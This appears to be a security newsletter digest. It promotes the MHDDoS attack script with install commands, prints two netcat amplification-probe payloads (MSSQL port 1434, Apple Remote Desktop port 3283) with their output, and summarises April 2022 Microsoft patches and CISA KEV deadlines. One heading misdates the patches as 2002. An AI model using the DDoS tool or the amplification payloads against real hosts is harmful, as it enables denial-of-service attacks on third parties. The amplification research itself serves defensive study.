MHDDoS - DDoS Attack Script

MHDDoS is a DDoS Attack Script written in Python3. It includes 56 attack methods (DoS/DDoS). 

Installation (1st way)

$ git clone https://github.com/MHProDev/MHDDoS.git
$ cd MHDDoS
$ pip install -r requirements.txt

 Installation (2nd way)

$ docker pull ghcr.io/mhprodev/mhddos:latest

Links:

• GitHub MHDDoS and wiki
  
• MHDDoS - DDoS Attack Script With 56 Methods 
  

Amplification Research

AMP-Research is a research on exotic UDP/TCP amplification vectors, payloads and mitigations.

Amplification is where a simple malformed socket or packets request elicit a response larger than the input data. This can be abused to "amplify" a request, by means of Distributed Reflected Denial of Service (DRDoS) attacks or DDoS. 

Best way to show what this means is using the network protocol MSSQL over TCP/IP UDP port 1434 (23 times amplification factor) as an example.

$ echo -ne '\x02' | nc -u -q 2 190.xx.xx.xx 1434|xxd -p|wc -c
629 bytes

Another example on ARD (Apple Remote Desktop) listener:

$ echo -ne '\x00\x14\x00\x01\x03' |nc -u 89.xx.xx.xx 3283|hexdump
0000000 0100 ea03 3100 0000 0000 0000 0000 0000
0000010 0000 0000 0000 0000 0000 0000 0000 0000
0000020 0000 0000 0000 0000 0100 0000 0000 0000
0000030 0000 0000 0000 0000 0000 0000 0000 0000
_
0000050 0000 1200 0000 0000 0000 0000 0000 0000
0000060 0000 0000 0000 0000 0000 0000 0000 0000
0000070 0000 0000 0000 0000 0000 0000 0000 640a
0000080 7461 6861 6565 6472 0034 0000 0000 0000
0000090 0000 0000 0000 0000 0000 0000 0000 0000
_
00000c0 0000 0001 0000 0000 0000 0000 0000 0000
00000d0 0000 0000 0000 9803 0000 0100 18f0 ed98
00000e0 9288 0000 0000 0a00 6400 6100 7400 6100
00000f0 6800 6500 6500 7200 6400 3400 0000 0000
0000100 0000 0000 0000 0000 0000 0000 0000 0000

Links:

• AMP-Research 

April 2002 Microsoft Security Updates

April 2022 MS Security Updates

Quick summary:

• Total 145 vulnerabilities for Apr 2022.
• At least 1 CVE is exploited in wild. [cve-2022-24521]
  
• 3 CVE are rated with CVSS 8.5.
• At least 10 vulns are found likely to be exploited.
• 47 vulns are RCE.
• 9 vulns are DoS.

3 Days Left to Patch

There are 66 vulnerabilities is going to reach the deadline on April 15 based on the CISA KEV Directive.

These include:

• 7 vulnerabilities from Microsoft including the SMBv1 vulnerability (CVE-2017-0146).
• 33 RCE vulnerabilities including 2 from Apache. 
• 2 DoS attacks to Cisco BGP.

kev-dashboard.py